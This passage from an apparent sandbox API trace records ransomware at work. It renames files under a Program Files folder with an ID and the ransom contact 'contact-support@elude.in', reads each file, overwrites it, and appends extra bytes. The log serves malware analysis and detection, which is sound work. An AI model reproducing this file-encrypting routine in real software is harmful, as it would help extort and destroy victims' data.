(hObject=0x4bc) returned 1 [0215.764] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0215.764] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\el-GR\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\el-gr\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\el-GR\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\el-gr\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0215.765] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0215.765] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\el-GR\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fc6c | out: lpFindFileData=0x433fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x25c, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5040 [0215.765] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0215.765] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\el-GR\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\el-gr\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0215.765] GetProcessHeap () returned 0x630000 [0215.765] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d6db8 [0215.765] GetProcessHeap () returned 0x630000 [0215.765] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d7040 [0215.765] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.765] ReadFile (in: hFile=0x4bc, lpBuffer=0x6d6db8, nNumberOfBytesToRead=0x240, lpNumberOfBytesRead=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d6db8*, lpNumberOfBytesRead=0x433ff0c*=0x240, lpOverlapped=0x0) returned 1 [0215.769] GetProcessHeap () returned 0x630000 [0215.769] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317c98 [0215.769] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.769] WriteFile (in: hFile=0x4bc, lpBuffer=0x6d7040*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d7040*, lpNumberOfBytesWritten=0x433ff0c*=0x240, lpOverlapped=0x0) returned 1 [0215.769] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.769] WriteFile (in: hFile=0x4bc, lpBuffer=0x6d727f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d727f*, lpNumberOfBytesWritten=0x433ff0c*=0x20, lpOverlapped=0x0) returned 1 [0215.769] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.769] WriteFile (in: hFile=0x4bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x433ff0c*=0x4, lpOverlapped=0x0) returned 1 [0215.769] CloseHandle (hObject=0x4bc) returned 1 [0215.769] GetProcessHeap () returned 0x630000 [0215.769] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d7040 | out: hHeap=0x630000) returned 1 [0215.769] GetProcessHeap () returned 0x630000 [0215.769] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d6db8 | out: hHeap=0x630000) returned 1 [0215.769] GetProcessHeap () returned 0x630000 [0215.769] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317c98 | out: hHeap=0x630000) returned 1 [0215.770] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0215.770] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\el-GR\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fcc4 | out: lpFindFileData=0x433fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x468e1c25, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x280, dwReserved0=0x433fd20, dwReserved1=0x6d6db8, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5440 [0215.770] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0215.770] Sleep (dwMilliseconds=0x1) [0215.777] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\el-GR\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x433ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\el-GR\\toastbeginupgrade.xml") returned 1 [0215.777] GetProcessHeap () returned 0x630000 [0215.777] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74d7f88, Size=0x4ff0) returned 0x74d7f88 [0215.777] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\el-GR\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\el-gr\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0215.777] CloseHandle (hObject=0x4bc) returned 1 [0215.777] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0215.778] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\el-GR\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\el-gr\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\el-GR\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\el-gr\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0215.781] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0215.781] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\el-GR\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fc6c | out: lpFindFileData=0x433fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x2be, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5440 [0215.781] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0215.781] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\el-GR\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\el-gr\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0215.782] GetProcessHeap () returned 0x630000 [0215.782] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2c1) returned 0x7109e48 [0215.782] GetProcessHeap () returned 0x630000 [0215.782] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2c1) returned 0x710a130 [0215.782] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.782] ReadFile (in: hFile=0x4bc, lpBuffer=0x7109e48, nNumberOfBytesToRead=0x2a0, lpNumberOfBytesRead=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7109e48*, lpNumberOfBytesRead=0x433ff0c*=0x2a0, lpOverlapped=0x0) returned 1 [0215.793] GetProcessHeap () returned 0x630000 [0215.793] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73189b8 [0215.793] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.793] WriteFile (in: hFile=0x4bc, lpBuffer=0x710a130*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x710a130*, lpNumberOfBytesWritten=0x433ff0c*=0x2a0, lpOverlapped=0x0) returned 1 [0215.794] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.794] WriteFile (in: hFile=0x4bc, lpBuffer=0x710a3cf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x710a3cf*, lpNumberOfBytesWritten=0x433ff0c*=0x20, lpOverlapped=0x0) returned 1 [0215.794] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.794] WriteFile (in: hFile=0x4bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x433ff0c*=0x4, lpOverlapped=0x0) returned 1 [0215.794] CloseHandle (hObject=0x4bc) returned 1 [0215.795] GetProcessHeap () returned 0x630000 [0215.795] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x710a130 | out: hHeap=0x630000) returned 1 [0215.795] GetProcessHeap () returned 0x630000 [0215.795] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7109e48 | out: hHeap=0x630000) returned 1 [0215.795] GetProcessHeap () returned 0x630000 [0215.795] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73189b8 | out: hHeap=0x630000) returned 1 [0215.795] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0215.795] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\el-GR\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fcc4 | out: lpFindFileData=0x433fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4692dd4b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x433fd20, dwReserved1=0x7109e48, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5480 [0215.795] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0215.798] Sleep (dwMilliseconds=0x1) [0215.837] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-DE\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x433ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-DE\\toastreviewsettings.xml") returned 1 [0215.837] GetProcessHeap () returned 0x630000 [0215.837] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74d7f88, Size=0x4fe8) returned 0x74d7f88 [0215.837] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-DE\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-de\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0215.838] CloseHandle (hObject=0x714) returned 1 [0215.838] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0215.838] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-DE\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-de\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-DE\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-de\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0215.838] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0215.839] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-DE\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fc6c | out: lpFindFileData=0x433fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d53c0 [0215.839] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0215.839] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-DE\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-de\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0215.839] GetProcessHeap () returned 0x630000 [0215.839] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x66a3e0 [0215.839] GetProcessHeap () returned 0x630000 [0215.839] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x70f40c0 [0215.839] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.839] ReadFile (in: hFile=0x714, lpBuffer=0x66a3e0, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x66a3e0*, lpNumberOfBytesRead=0x433ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0217.292] GetProcessHeap () returned 0x630000 [0217.292] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317db0 [0217.292] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.292] WriteFile (in: hFile=0x714, lpBuffer=0x70f40c0*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f40c0*, lpNumberOfBytesWritten=0x433ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0217.292] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.292] WriteFile (in: hFile=0x714, lpBuffer=0x70f425f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f425f*, lpNumberOfBytesWritten=0x433ff0c*=0x20, lpOverlapped=0x0) returned 1 [0217.292] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.292] WriteFile (in: hFile=0x714, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x433ff0c*=0x4, lpOverlapped=0x0) returned 1 [0217.292] CloseHandle (hObject=0x714) returned 1 [0217.293] GetProcessHeap () returned 0x630000 [0217.293] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70f40c0 | out: hHeap=0x630000) returned 1 [0217.293] GetProcessHeap () returned 0x630000 [0217.293] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66a3e0 | out: hHeap=0x630000) returned 1 [0217.293] GetProcessHeap () returned 0x630000 [0217.293] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317db0 | out: hHeap=0x630000) returned 1 [0217.293] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0217.293] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-DE\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fcc4 | out: lpFindFileData=0x433fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4777c0dc, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0xb1c7496, dwReserved1=0x66a3d8, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5580 [0217.293] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0217.293] Sleep (dwMilliseconds=0x1) [0218.940] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\he-IL\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x433ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\he-IL\\toastbeginupgradeth2.xml") returned 1 [0218.940] GetProcessHeap () returned 0x630000 [0218.940] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50e8) returned 0x6fe3bb0 [0218.940] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\he-IL\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\he-il\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0218.941] CloseHandle (hObject=0x69c) returned 1 [0218.941] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0218.941] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\he-IL\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\he-il\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\he-IL\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\he-il\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0218.942] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0218.942] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\he-IL\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fc6c | out: lpFindFileData=0x433fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5040 [0218.942] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0218.942] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\he-IL\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\he-il\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0218.942] GetProcessHeap () returned 0x630000 [0218.942] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6860c8 [0218.942] GetProcessHeap () returned 0x630000 [0218.942] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x66cad0 [0218.942] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.942] ReadFile (in: hFile=0x69c, lpBuffer=0x6860c8, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6860c8*, lpNumberOfBytesRead=0x433ff0c*=0x180, lpOverlapped=0x0) returned 1 [0218.945] GetProcessHeap () returned 0x630000 [0218.945] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318558 [0218.945] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.945] WriteFile (in: hFile=0x69c, 